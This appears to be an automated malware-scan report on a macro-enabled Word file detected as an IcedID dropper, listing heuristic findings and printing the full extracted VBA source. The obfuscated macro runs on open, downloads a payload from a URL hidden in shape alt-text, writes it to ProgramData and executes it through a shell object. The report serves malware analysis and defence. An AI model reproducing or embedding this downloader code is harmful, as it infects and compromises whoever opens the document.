MALICIOUS
290
Risk Score
Heuristics 7
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Set XDGwo = CreateObject(hyytC + "." + "shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set gUwvT = VBA.CreateObject(cEBVE + "" + zZRXE) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 13547 bytes |
SHA-256: 8f0399f50a90cece27f27c47a5e2e6a3ce34700d9076db8dbdd6b2a0be6a018b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "oEwNi"
Sub dXuJB(VsyHu, Optional ByVal eYuXT As String = "c:\programdata\pfZoY.txt", Optional ByVal zZRXE As String = "systemobject")
' Dimensioning executive flouts majorettes
' Lectures monocle comradely caustically agronomy deploying
' Suppose clumber
' Flooded confronted unthinkably salutary slenderness
' Polluter polyglots impressionistic electorally revoke four
' Corporation spurred malathion flounders
' Iterations upshot blotch
' Awoke irises boycotts
' Disprovable
' Kinswoman mythologised patted strikes
' Cryptographer disgusts respect inviscid breakup
' Breakthrough dwell
' Kernel fustian
' Hotness doted suicidally
' Normative slur cagey primaries
' Poisoner invests
' Rupture
' Awakens orthodox inhalers
' Voluptuously tending overgrazing hyperventilation
' Forays morn societies orthogonally werewolf
' Ecclesiastical everlastingly crashers
Set gUwvT = VBA.CreateObject(cEBVE + "" + zZRXE)
' Oneness filthiest constituents convector burgling cantilever fort
' Furthest sunny
' Disgorged doctoring
' Compassed bigheads
' Whipcord grass transmuted
' Wolfhound dormancy vulgar leprechauns lockout leapyear winch
Set alWvs = gUwvT.CreateTextFile(eYuXT)
' Posed conformists minesweepers enforcing
' Intersection underperformed flayed unsolder spanker seducing
' Reverent sup lizard ecstatically
' Insupportable boating
alWvs.WriteLine VsyHu
' Wishful unyielding consolidating multiculturalism
' Competitors mayhem masterful abstruse legally
' Drear
' Mockup inexplicable
alWvs.Close
' Mort grooves mimicker
' Undemonstrative cheerleaders inexpressibly infatuated
' Deducing insures unlawful est
' Wildest mid penetration covalent
' Brazenness caliph
' Alter style surveying
' Intents bossed homologous
' Gibbered souvenir pizzeria attritional materiality
' Melts textural reabsorbed appraisingly
' Burs
' Librates numberings styled
' Bodiless mangles chloroformed intrigued
' Upholsterers nonconformist elevation goblins
' Spendthrift capitalisation rankling hexagon indistinguishable
' Forfeit lowland laity traction familial
' Column basics disinformation cessation bombed
' Shorthand loafs loaned
' Razzmatazz scaremonger coprocessor
' Puke
' Proclaiming wailed postboxes
' Outsmart rouse delimit rhino
' Empress phenylalanine preallocate peachier arrowed
' Beagle infuriated tank
' Hoteliers grange hayloft tatty pictorially stratifies
' Inwards betrayals nutcracker flute vulnerable
' Cranks girth
' Superintendents understandability destroyable swaggered esoteric
' Crones
' Blends armband haircut batiks impotence
' Installers inlaid wintriest cupola weighty
' Hulls slipshod dredger rattler
' Clouding sardonic handrails inferno
' Specify pelt defects
' Shoe rommel chimerical pomades wallpapering
' Geologists received schedules
' Identifies combining postponements contravened
' Stentorian transportation jewelry stiffened
' Hobbyists crushingly lamenting
' Pawning dysfunctions destructive
End Sub
' Yearlings carpet
' Decontaminated fulfilled
' Parachute
' Characterise magnolias buffeting flint thrusts
' Capitalised miniaturised
Sub AutoOpen()
' Matrimonial demographic colour
' Desktop
' Keenness rescale maligns strawberry alterations
' Botch eire
' Pale stainless
' Shrewdness gluttony dungarees aluminum laymen jadedly
' Broadness regard embroidered abruptness
' Reassignment whet disproving economists snooker
' Progressing
' Colostomies reimbursed
' Debarred pretty hump irresponsibility
' Praiseworthy oxidiser passionately luckless
' Cosmological teethe misbegotten thematic
' Kindhearted schoolchild attune sensational jangling pinking undemocratic
' Geomorphologists frumps forego toxins
' Holdings zoos
' Manliness disciplining tripods
' Briefer planed shared
' Juniors crag repeater
' Largish wormy strenuous empiricism
' Pavement
' Cornets rabble resume immensely
' Falsifying orange cabals cornered
' Inventor sewerage miniaturise
' Selfless factual secrets reeks destroy
' Pungent traversal cusp
' Analogues penetrations advances rearer seditious scarlet
' Confidants sheltered quaking
' Nodes
' Maser unchain underpants technologically convenes
Dim WSYSj As New eoykq
' Sweltry
' Clubbed reloads erosional
' Risible proscenium
' Clannish springer transcendence
' Sebaceous distempered suck deductive
' Pubs lumbar
' Dwarfs
' Microscopy pragmatist whetstone peptides
PKDUC = ""
' Loomed posse cavalier
' Susceptibilities dreamless
' Phlegmatically redundant mistranslates stoutest raccoon unremitting
' Testicle unspeakably
' Chutney clairvoyants inner
' Insufferable tavern libel spar pleasantly
' Foamy inferring womanising
' Charges woke beads silencers
' Suffixed voles servants water
VsyHu = WSYSj.mMJZJ(vawiH)
' Streak acidification cans
' Gallon tarty ultimatums histamine knavish
' Scrunched slang ingestion shouters
' Shook zambezi
' Discreet notified rearranging erotica
' Crack punnet scalped coefficients parlous
dXuJB hmWYt(VsyHu)
' Lineages stinger soudan
' Guavas bids bided
' Iridescent velvets conker contour
' Emits cleaner watery
' Ratios
' Haberdasher timeout semifinals index
' Admission funk distress tripods
' Guacamole factory electrocardiogram bunched bombastic blushers
' Gunsight strictly permeation
' Broadly
' Psychologists
' Pinched quivers
WMwzL QhMhx(0) + "vr32 c:\programdata\pfZoY.txt", "wscript"
End Sub
Function bcfHU(gCPPg, WTZvL)
' Bubblegum humbles
' Vesicle moneys witticism unreformed some
' Month hayfield ride
' Baiting knight staged glaziers wedges
' Mourns
' Videotaping hardware oppressions laced famished
' Ameliorated skim pinholes
bcfHU = Split(gCPPg, WTZvL)
End Function
Attribute VB_Name = "DEimG"
' Preternaturally moisturise expandability allegorically
' Contrivance
' Perspicacious termini beneficiary malevolence
' Hostile averagely
' Disorganise oddly fermion
' Wheelbarrows sealers fratricidal
Function hmWYt(ayZJP)
' Recommencement sprightlier eyetooth
' Tool
' Baronesses consensual poisonings geraniums
' Pleats sociopolitical cutbacks timehonoured
hmWYt = StrConv(ayZJP, vbUnicode)
' Funding fonder speculatively putrefy ascending steroid
' Bionic lidded backpedalled exhibitioners torrid reefs hatchets
' Baleful redirecting few forwardly deepening
' Protect
' Meek mount fare insomniac scant
' Nudists anointed
End Function
' Cosmically acrobats
' Projectors diminishable deeming
' Sprout wellbalanced confusingly
' Sedatives fiends
Function ldbog()
' Thereon
' Precipitate curated centrifuge arks
' Orientation hand nourished combating flipped
' Battlecry perfects lauds
' Cheerier skirmishing makes mated reverser
' Sloughing
' Sensuous peat ant intermolecular knighted photographers
' Cheerful abstemiously sentential alleviates enclosed
' Due debenture than clicks prussic factorisation
' Gaols calmly lobed piazzas coulombs
' Mallet unproductive cationic unionised paraguay
' Thaumaturge
' Inauthenticity applepie kindness diluted
With ActiveDocument.shapes(1)
ldbog = .AlternativeText
End With
End Function
' Unprinted connotations suits
' Umbras recurring jump vicepresidential nicks
' Blackbird subscribe partner optimisations
' Stirring
Function QhMhx(Xxlue)
' Househunting heaths
' Whitecollar strumpet spoils
' Escaped bought
' Clump
' Unexpressed routeing
' Upholster sentries
' Mason fiscal unsophistication untypical
' Quondam plumage conversationalist items immunosuppressive
' Mufflers
' Clutches electricians upload beets
BveFb = bcfHU(ldbog(), "~~~")
rwHET = BveFb(Xxlue)
QhMhx = rwHET
End Function
Attribute VB_Name = "eoykq"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ysbxd(AwBhY, NxLkI, gmlTe)
' Convulsed dunes adduces negotiations amounting
' Oocytes glowered hyena optionality
' Repressively likes lyricism
' Legatee archivists
' Cycleway sexualities
ysbxd = Mid(AwBhY, NxLkI, gmlTe)
End Function
Public Function UXUKm(bwBEd, PUZmy)
' Bungalow streak
' Stoves abstractly cadet agiler excavations
' Colloquialisms silvered governorship firefighters
' Punctiliously dissected
' Megawatt meritocratic skeletons splurge
' Manhandled craze biweekly ingest predominates orations
' Unreasoned james stashed hobbies scrambling
' Idlest milligrams commodities puss ladling
' Azimuth alarms confection touchdown unclassifiable dwindling
' Mashing germs restaurant mocked
' Nausea rehabilitating foisted teachers
' Unsystematic inapplicability
' Towelling responses
' Gymnast senators sampling reverent freedom
' Presupposition highlights dips
' Newsreaders combusts foliage
' Jug unladen detecting
' Exposed warmly zebu alts slipper rest pedlars
' Receiver resemblances productivity
' Proliferated camouflage
hyGBT = Trim(bwBEd)
For SZIOc = PUZmy To Len(hyGBT)
bcApU = ysbxd(hyGBT, SZIOc, PUZmy) & bcApU
Next SZIOc
UXUKm = bcApU
End Function
' Coefficient
' Profits forestalled ideographs encumber
' References vigilance
' Watermarks sheiks elope remark suffocating yeaned banter
' Gracelessly jointures
' Come suit
' Commandingly ejection hooted miasma
' Screeches
Function mMJZJ(TiQhq)
' Reconciling subjugated stews easing unfriendliest suicidal
' Tethering internal rider excused
' Extrusion
' Interpreted denying minds arboreal
' Codifications slitting blades girder poltergeist gnarl
' Astigmatic pithily vulcanism
' Shiny evangelising overthetop
Dim lsZef As Object
' Shrieked ejector prudent
' Shareable cadaverous noiseless commonwealth
' Bacterial cohesiveness insulant
' Bogies rosebuds plugged conciliatory
' Blockbusting
' Chill linearised function
' Veneration rho
' Disengage synthesise whiteboards
' Updating scurry airiest postal
Set lsZef = CreateObject(UXUKm(TiQhq, 1) + "." + UXUKm(TiQhq, 1) + "Request.5.1")
' Conciliation
' Objectively
' Bavarian unpacking absentmindedly
' Preoccupying isotropically splayed scans
' Reckoned columnists pricks contentment
' Apportionment abrogation naughtiness apian painless oracular
' Centring dirges blackened
' Unissued fullbodied addictive
' Elasticated rebind undiscriminating
' Subscribing expelled specifiers
' Mushrooming calming interlocutory
' Awfully
' Turbulent progressions
' Lath adjudicates repainted compartment
' Yachtsmen whack
' Dispossessed levelling troubadours previews
' Realpolitik hotplates tangentially demeaning periodic allocating
' Samoa baitings reducer
' Chefs tigris airings
' Roebuck
llvVv = QhMhx(1)
' Booby
' Ridge endearment bivalves lateral fractionated
' Croquet oversimplifies thugs
' Bayed collimation detectives pooch
' Razor
lsZef.Open "GET", UXUKm(llvVv, 1), False
' Clucking snarling putted gridiron
' Warmhearted
' Pigtailed saturnine powders
' Impositions fat loans undulating gambling shiftier
' Averred esteems unbiassed worship
lsZef.Send
' Offered formative noiseless etymologies
' Coconuts multinationals iota ear belie
' Hundredfold instrumentalist fleetingly smarting
' Bilges sing stockbrokers anthropology
mMJZJ = lsZef.responsebody
End Function
Attribute VB_Name = "ZSMJY"
Public Const vawiH As String = "ptthniw"
Public Const cEBVE As String = "scripting.file"
Sub WMwzL(hVhdw, hyytC)
' Misapply snoozes ales
' Jigsaw hull disdaining
' Smuggler disinherited plumbed antiviral averaged
' Raw respond
' Unrepentantly uncapped cleanliness immigrations arcading sorcerers
' Necklines nominally uncrowned elf
Set XDGwo = CreateObject(hyytC + "." + "shell")
' Invoked unfeasible garden
' Sake debtor footpads
' Castors worsens
' Barometer combination lacunas pliant
' Louts presuming forties
' Forgetmenot implodes
' Discovers mags
' Groggily loophole processional liens luck jeep
' Cheek aperiodic locality
' Diana streamed
' Grovel profiting
' Gestures shies chlorate unreflected
' Exhibition carry itched
' Whistler
' Digging molested ouster coagulation paradises
' Decaying fluency
' Objecting allegro coppice
' Celebrants
' Investors
' Abounded stomps manliness vicinity negate
' Ungainly caustic
' Schemed lived guarantee interference unrevealing
' Railwaymen lushest nonsensical livings vectors
' Twister filch piglets unregarded diploma sandman conventional
' Smoking dumbest chiropractor
' Pensioning thy beechwood permittivity
' Hobbyists dramatised weddings lagers
' Extraterrestrials protozoans
' Cockier tranquilliser thyroids sessions illbehaved acute
' Drawer unsealable neutering seamier
' Karate guilt recyclers magnifier
' Baguettes payrolls
' Bibliographical tinpot routine guardedness
' Terrorise schooldays libation irksomeness
' Yeaned puissant
' Resubmit frivols clumsiest forgot
' Materialistically drugs fineness presences reward
' Dwindle downpour
' Remorse eliding
Call XDGwo.exec(hVhdw)
' Forger proscribe triangulate
' Silicate vindictively pollutes
' Luxor commode chillier
' Cartwheels
' Cafes smote accessions
' Backstage
' Echoing hobby
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 48640 bytes |
SHA-256: 9e9597b9f123c4536ddec5da769563f88e46aeac3a2592aba3d45bf866adf05a |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.